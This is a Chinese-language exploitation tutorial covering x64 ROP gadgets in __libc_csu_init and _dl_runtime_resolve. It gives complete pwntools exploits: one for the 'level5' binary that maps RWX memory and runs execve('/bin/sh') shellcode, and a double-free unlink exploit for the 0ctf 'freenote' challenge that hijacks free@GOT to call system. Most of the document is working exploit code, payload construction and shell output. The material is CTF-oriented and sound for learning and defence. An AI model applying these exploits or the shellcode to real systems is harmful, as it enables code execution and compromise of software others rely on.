作者微博：蒸米spark SparkZheng
序 ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术，可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。上次我们主要讨论了linux_x64的ROP攻击。在这次的教程中我们会带来通用gadgets和堆漏洞利用的技巧，欢迎大家继续学习。
另外文中涉及代码可在我的github下载:https://github.com/zhengmin1989/ROP_STEP_BY_STEP
通用 gadgets part2 上次讲到了libc_csu_init()的一条万能gadgets，其实不光 libc_csu_init()里的代码可以利用，默认gcc还会有如下自动编译进去的函数可以用来查找gadgets。
1 2 3 4 5 6 7 8 9 10 _init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini
除此之外在程序执行的过程中，CPU只会关注于PC指针的地址，并不会关注是否执行了编程者想要达到的效果。因此，通过控制PC跳转到某些经过稍微偏移过的地址会得到意想不到的效果。
比如说说我们反编译一下__libc_csu_init()这个函数的尾部：
1 2 3 4 5 6 7 8 9 10 11 gdb-peda$ disas __libc_csu_init Dump of assembler code for function __libc_csu_init: …… 0x0000000000400606 <+102>: movrbx,QWORD PTR [rsp+0x8] 0x000000000040060b <+107>: movrbp,QWORD PTR [rsp+0x10] 0x0000000000400610 <+112>: mov r12,QWORD PTR [rsp+0x18] 0x0000000000400615 <+117>: mov r13,QWORD PTR [rsp+0x20] 0x000000000040061a <+122>: mov r14,QWORD PTR [rsp+0x28] 0x000000000040061f <+127>: mov r15,QWORD PTR [rsp+0x30] 0x0000000000400624 <+132>: add rsp,0x38 0x0000000000400628 <+136>: ret
可以发现我们可以通过rsp控制r12-r15的值，但我们知道x64下常用的参数寄存器是rdi和rsi，控制r12-r15并没有什么太大的用处。不要慌，虽然原程序本身用是为了控制r14和r15寄存器的值。如下面的反编译所示：
1 2 3 4 5 gdb-peda$ x/5i 0x000000000040061a 0x40061a <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28] 0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30] 0x400624 <__libc_csu_init+132>: add rsp,0x38 0x400628 <__libc_csu_init+136>: ret
但是我们如果简单的对pc做个位移再反编译，我们就会发现esi和edi的值可以被我们控制了！如下面的反编译所示:
1 2 3 4 5 6 7 8 9 10 11 12 gdb-peda$ x/5i 0x000000000040061b 0x40061b <__libc_csu_init+123>: movesi,DWORD PTR [rsp+0x28] 0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30] 0x400624 <__libc_csu_init+132>: add rsp,0x38 0x400628 <__libc_csu_init+136>: ret 0x400629: nop DWORD PTR [rax+0x0] gdb-peda$ x/5i 0x0000000000400620 0x400620 <__libc_csu_init+128>: movedi,DWORD PTR [rsp+0x30] 0x400624 <__libc_csu_init+132>: add rsp,0x38 0x400628 <__libc_csu_init+136>: ret 0x400629: nop DWORD PTR [rax+0x0] 0x400630 <__libc_csu_fini>: repz ret
虽然edi和esi只能控制低32位的数值，但已经可以满足我们的很多的rop需求了。
除了程序默认编译进去的函数，如果我们能得到libc.so或者其他库在内存中的地址，就可以获得到大量的可用的gadgets。比如上一篇文章中提到的通用gadget只能控制三个参数寄存器的值并且某些值只能控制32位，如果我们想要控制多个参数寄存器的值的话只能去寻找其他的gadgets了。这里就介绍一个_dl_runtime_resolve()中的gadget，通过这个gadget可以控制六个64位参数寄存器的值，当我们使用参数比较多的函数的时候（比如mmap和mprotect）就可以派上用场了。
我们把_dl_runtime_resolve反编译可以得到：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 0x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x38 0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax 0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx 0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx 0x7ffff7def212 <_dl_runtime_resolve+18>: mov QWORD PTR [rsp+0x18],rsi 0x7ffff7def217 <_dl_runtime_resolve+23>: mov QWORD PTR [rsp+0x20],rdi 0x7ffff7def21c <_dl_runtime_resolve+28>: mov QWORD PTR [rsp+0x28],r8 0x7ffff7def221 <_dl_runtime_resolve+33>: mov QWORD PTR [rsp+0x30],r9 0x7ffff7def226 <_dl_runtime_resolve+38>: movrsi,QWORD PTR [rsp+0x40] 0x7ffff7def22b <_dl_runtime_resolve+43>: movrdi,QWORD PTR [rsp+0x38] 0x7ffff7def230 <_dl_runtime_resolve+48>: call 0x7ffff7de8680 <_dl_fixup> 0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax 0x7ffff7def238 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30] 0x7ffff7def23d <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28] 0x7ffff7def242 <_dl_runtime_resolve+66>: movrdi,QWORD PTR [rsp+0x20] 0x7ffff7def247 <_dl_runtime_resolve+71>: movrsi,QWORD PTR [rsp+0x18] 0x7ffff7def24c <_dl_runtime_resolve+76>: movrdx,QWORD PTR [rsp+0x10] 0x7ffff7def251 <_dl_runtime_resolve+81>: movrcx,QWORD PTR [rsp+0x8] 0x7ffff7def256 <_dl_runtime_resolve+86>: movrax,QWORD PTR [rsp] 0x7ffff7def25a <_dl_runtime_resolve+90>: add rsp,0x48 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11
从0x7ffff7def235开始，就是这个通用gadget的地址了。通过这个gadget我们可以控制rdi，rsi，rdx，rcx， r8，r9的值。但要注意的是_dl_runtime_resolve()在内存中的地址是随机的。所以我们需要先用information leak得到_dl_runtime_resolve()在内存中的地址。那么_dl_runtime_resolve()的地址被保存在了哪个固定的地址呢？
通过反编译level5程序我们可以看到write@plt()这个函数使用PLT [0] 去查找write函数在内存中的地址，函数jump过去的地址*0x600ff8其实就是_dl_runtime_resolve()在内存中的地址了。所以只要获取到0x600ff8这个地址保存的数据，就能够找到_dl_runtime_resolve()在内存中的地址：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0000000000400420 <write@plt-0x10>: 400420: ff 35 ca 0b 20 00 pushq 0x200bca(%rip) 400426: ff 25 cc 0b 20 00 jmpq *0x200bcc(%rip) 40042c: 0f 1f 40 00 nopl 0x0(%rax) gdb-peda$ x/x 0x600ff8 0x600ff8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00007ffff7def200 gdb-peda$ x/21i 0x00007ffff7def200 0x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x38 0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax 0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx 0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx ….
另一个要注意的是，想要利用这个gadget，我们还需要控制rax的值，因为gadget是通过rax跳转的：
1 2 3 0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax …… 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11
所以我们接下来用ROPgadget查找一下libc.so中控制rax的gadget：
1 2 3 4 5 6 ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rax" 0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret 0x0000000000023950 : pop rax ; ret 0x000000000019176e : pop rax ; ret 0xffed 0x0000000000123504 : pop rax ; ret 0xfff0 0x0000000000023950刚好符合我们的要求。有了pop rax和_dl_runtime_resolve这两个gadgets，我们就可以很轻松的调用想要的调用的函数了。
利用mmap执行任意shellcode 看了这么多rop后是不是感觉我们利用rop只是用来执行system有点太不过瘾了？另外网上和msf里有那么多的shellcode难道在默认开启DEP的今天已经没有用处了吗？并不是的，我们可以通过mmap或者mprotect将某块内存改成RWX(可读可写可执行)，然后将shellcode保存到这块内存，然后控制pc跳转过去就可以执行任意的shellcode了，比如说建立一个socket连接等。下面我们就结合上一节中提到的通用gadgets来让程序执行一段shellcode。
我们测试的目标程序还是level5。在exp中，我们首先用上一篇中提到的__libc_csu_init中的通用gadgets泄露出got_write和_dl_runtime_resolve的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 payload1 = "\x00" *136 payload1 += p64(0x400606 ) + p64(0 ) +p64(0 ) + p64(1 ) + p64(got_write) + p64(1 ) + p64(got_write) + p64(8 ) payload1 += p64(0x4005F0 ) payload1 += "\x00" *56 payload1 += p64(main) payload2 = "\x00" *136 payload2 += p64(0x400606 ) + p64(0 ) +p64(0 ) + p64(1 ) + p64(got_write) + p64(1 ) + p64(linker_point) + p64(8 ) payload2 += p64(0x4005F0 ) payload2 += "\x00" *56 payload2 += p64(main)
随后就可以根据偏移量和泄露的地址计算出其他gadgets的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" + "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" + "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" ) shellcode_addr = 0xbeef0000 payload3 = "\x00" *136 payload3 += p64(pop_rax_ret) + p64(mmap_addr) payload3 += p64(linker_addr+0x35 ) + p64(0 ) + p64(34 ) + p64(7 ) + p64(1024 ) + p64(shellcode_addr) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35 ) + p64(0 ) + p64(0 ) + p64(1024 ) + p64(shellcode_addr) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) payload3 += p64(shellcode_addr)
然后我们利用_dl_runtime_resolve里的通用gadgets调用mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0),开辟一段RWX的内存在0xbeef0000处。随后我们使用read(rdi=0, rsi=shellcode_addr, rdx=1024),把我们想要执行的shellcode读入到0xbeef0000这段内存中。最后再将指针跳转到shellcode处就可执行我们想要执行的任意代码了。
完整的exp8.py代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 frompwn import * elf = ELF('level5' ) libc = ELF('libc.so.6' ) p = process('./level5' ) got_write = elf.got['write' ] print "got_write: " + hex(got_write)got_read = elf.got['read' ] print "got_read: " + hex(got_read)plt_read = elf.symbols['read' ] print "plt_read: " + hex(plt_read)linker_point = 0x600ff8 print "linker_point: " + hex(linker_point)got_pop_rax_ret = 0x0000000000023970 print "got_pop_rax_ret: " + hex(got_pop_rax_ret) main = 0x400564 off_system_addr = libc.symbols['write' ] - libc.symbols['system' ] print "off_system_addr: " + hex(off_system_addr)off_mmap_addr = libc.symbols['write' ] - libc.symbols['mmap' ] print "off_mmap_addr: " + hex(off_mmap_addr)off_pop_rax_ret = libc.symbols['write' ] - got_pop_rax_ret print "off_pop_rax_ret: " + hex(off_pop_rax_ret) payload1 = "\x00" *136 payload1 += p64(0x400606 ) + p64(0 ) +p64(0 ) + p64(1 ) + p64(got_write) + p64(1 ) + p64(got_write) + p64(8 ) payload1 += p64(0x4005F0 ) payload1 += "\x00" *56 payload1 += p64(main) p.recvuntil("Hello, World\n" ) print "\n#############sending payload1#############\n" p.send(payload1) sleep(1 ) write_addr = u64(p.recv(8 )) print "write_addr: " + hex(write_addr)mmap_addr = write_addr - off_mmap_addr print "mmap_addr: " + hex(mmap_addr)pop_rax_ret = write_addr - off_pop_rax_ret print "pop_rax_ret: " + hex(pop_rax_ret) payload2 = "\x00" *136 payload2 += p64(0x400606 ) + p64(0 ) +p64(0 ) + p64(1 ) + p64(got_write) + p64(1 ) + p64(linker_point) + p64(8 ) payload2 += p64(0x4005F0 ) payload2 += "\x00" *56 payload2 += p64(main) p.recvuntil("Hello, World\n" ) print "\n#############sending payload2#############\n" p.send(payload2) sleep(1 ) linker_addr = u64(p.recv(8 )) print "linker_addr + 0x35: " + hex(linker_addr + 0x35 ) p.recvuntil("Hello, World\n" ) shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" + "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" + "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" ) shellcode_addr = 0xbeef0000 payload3 = "\x00" *136 payload3 += p64(pop_rax_ret) + p64(mmap_addr) payload3 += p64(linker_addr+0x35 ) + p64(0 ) + p64(34 ) + p64(7 ) + p64(1024 ) + p64(shellcode_addr) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35 ) + p64(0 ) + p64(0 ) + p64(1024 ) + p64(shellcode_addr) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0 ) payload3 += p64(shellcode_addr) print "\n#############sending payload3#############\n" p.send(payload3) sleep(1 ) p.send(shellcode+"\n" ) sleep(1 ) p.interactive()
成功pwn后的效果如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $ python exp8.py [+] Started program './level5' got_write: 0x601000 got_read: 0x601008 plt_read: 0x400440 linker_point: 0x600ff8 got_pop_rax_ret: 0x23950 off_mmap_addr: -0x9770 off_pop_rax_ret: 0xc2670 write_addr: 0x7f9d39d95fc0 mmap_addr: 0x7f9d39d9f730 pop_rax_ret: 0x7f9d39cd3950 linker_addr + 0x35: 0x7f9d3a083235 [*] Switching to interactive mode $ whoami mzheng
堆漏洞利用之double free 讲了那么多stack overflow的例子，我们现在换换口味，先从double free开始讲一下堆漏洞的利用。Double free的意思是一个已经被free的内存块又被free了第二次。正常情况下，如果double free，系统会检测出该内存块已经被free过了，不能被free第二次，程序会报错然后退出。但是如果我们精心构造一个假的内存块就可骗过系统的检测，然后得到内存地址任意写的权限。随后就可以修改got表将接下来会执行的函数替换成system()再将参数改为我们想要执行的指令，比如”/bin/sh”。最后就可以执行system(“/bin/sh”)了。
想要学习double free，首先要了解什么是free chunk和allocated chunk。这个在网上有大量的资料，请感兴趣的同学自学。
然后要了解Fast bin，Unsorted bin，Small bin和Large bin的概念。这个可以看这篇文章学习：
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
除此之外还有个gdb工具可以帮助我们查看内存中堆的信息，这对我们调试程序会有很大的帮助:
https://github.com/cloudburst/libheap
等到对堆的基本概念了解的差多了就可以学习如何利用unlink来做到内存写了。在最早版本的unlink中对内存chunk是没有任何检测的，因此我们可以很容易的做到内存任意写。但现在版本的libc中会对free的那个chunk进行检测，这个chunk的前一个chunk的bk指针和这个chunk的后一个chunk的fd指针必须指向这个即将free的chunk才行。为了bypass这个检测，我们必须在内存中找到一个地址X指向P，然后将P的fd和bk指向X。最后再触发double free的unlink，就可以将P地址的值设置为X了。
我们这次使用0ctf中的freenote这道题来实践一下double free漏洞的利用。执行这个程序我能看到这其实就是一个note记事本程序。通过new note和delete note可以malloc()和free()内存。
1 2 3 4 5 6 7 8 $ ./freenote_x64 == 0ops Free Note == 1. List Note 2. New Note 3. Edit Note 4. Delete Note 5. Exit ====================
但是这个程序有两个漏洞，一个是建立新note的时候在note的结尾处没有加”\0”因此会造成堆或者栈的地址泄露，另一个问题就是在delete note的时候，并不会检测这个note是不是已经被删除过了，因此可以删除一个note两遍，造成double free。
首先我们要泄露libc和heap在内存中的地址。因为note的结尾没有”\0”，因此在输出时会把后面的内容打印出来。因为freelist的头部保存在了libc的.bss段，因此我们可以见通过删除两个note再删除一个note，然后再建立一个新note的方法来泄露出libc在内存中的地址：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 notelen=0x80 new_note("A" *notelen) new_note("B" *notelen) delete_note(0 ) new_note("\xb8" ) list_note() p.recvuntil("0. " ) leak = p.recvuntil("\n" ) print leak[0 :-1 ].encode('hex' )leaklibcaddr = u64(leak[0 :-1 ].ljust(8 , '\x00' )) print hex(leaklibcaddr)delete_note(1 ) delete_note(0 ) system_sh_addr = leaklibcaddr - 0x3724a8 print "system_sh_addr: " + hex(system_sh_addr)binsh_addr = leaklibcaddr - 0x23e7f1 print "binsh_addr: " + hex(binsh_addr)
同样的如果让某个非使用中 chunk 的fd栏位指向另一个 chunk，并且让note的内容刚好接上，就可以把 chunk在堆上的位置给洩漏出来。这样我们就能得到堆的基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 notelen=0x10 new_note("A" *notelen) new_note("B" *notelen) new_note("C" *notelen) new_note("D" *notelen) delete_note(2 ) delete_note(0 ) new_note("AAAAAAAA" ) list_note() p.recvuntil("0. AAAAAAAA" ) leak = p.recvuntil("\n" ) print leak[0 :-1 ].encode('hex' )leakheapaddr = u64(leak[0 :-1 ].ljust(8 , '\x00' )) print hex(leakheapaddr) delete_note(0 ) delete_note(1 ) delete_note(3 ) notelen = 0x80 new_note("A" *notelen) new_note("B" *notelen) new_note("C" *notelen) delete_note(2 ) delete_note(1 ) delete_note(0 )
通过泄露的libc地址我们可以计算出system()函数和”/bin/sh”字符串在内存中的地址，通过泄露的堆的地址我们能得到note table的地址。然后我们构造一个假的note，利用使用double free的漏洞触发unlink，将note0的位置指向note table的地址。随后我们就可以通过编辑note0来编辑note table了。通过编辑note table我们把note0指向free()函数在got表中的地址，把note1指向”/bin/sh”在内存中的地址。然后我们编辑note0把free()函数在got表中的地址改为system()的地址。最后我们执行delete note1操作。因为我们把note1的地址指向了”/bin/sh”，所以正常情况下程序会执行free(“/bin/sh”)，但别忘了我们修改了got表中free的地址，所以程序会执行system(“/bin/sh”)，最终达到了我们的目的：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 fd = leakheapaddr - 0x1808 bk = fd + 0x8 payload = "" payload += p64(0x0 ) + p64(notelen+1 ) + p64(fd) + p64(bk) + "A" * (notelen - 0x20 ) payload += p64(notelen) + p64(notelen+0x10 ) + "A" * notelen payload += p64(0 ) + p64(notelen+0x11 )+ "\x00" * (notelen-0x20 ) new_note(payload) delete_note(1 ) free_got = 0x602018 payload2 = p64(notelen) + p64(1 ) + p64(0x8 ) + p64(free_got) + "A" *16 + p64(binsh_addr) payload2 += "A" * (notelen*3 -len(payload2)) edit_note(0 , payload2) edit_note(0 , p64(system_sh_addr)) delete_note(1 ) p.interactive()
执行exp的结果如下：
1 2 3 4 5 6 7 8 9 10 11 $ python exp9.py [+] Started program './freenote_x64' b8a75eb2b57f 0x7fb5b25ea7b8 system_sh_addr: 0x7fb5b2278310 binsh_addr: 0x7fb5b23abfc7 20684b02 0x24b6820 [*] Switching to interactive mode $ whoami mzheng
总结 除了64位的freenote，blue-lotus还弄了一个32位版的freenote给大家练习。这些binary和exp都可以在我的github上下载到：
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
另外，下篇我会带来arm上rop的利用，敬请期待。
参考资料 http://v0ids3curity.blogspot.com/2013/07/some-gadget-sequence-for-x8664-rop.html
掘金ctf
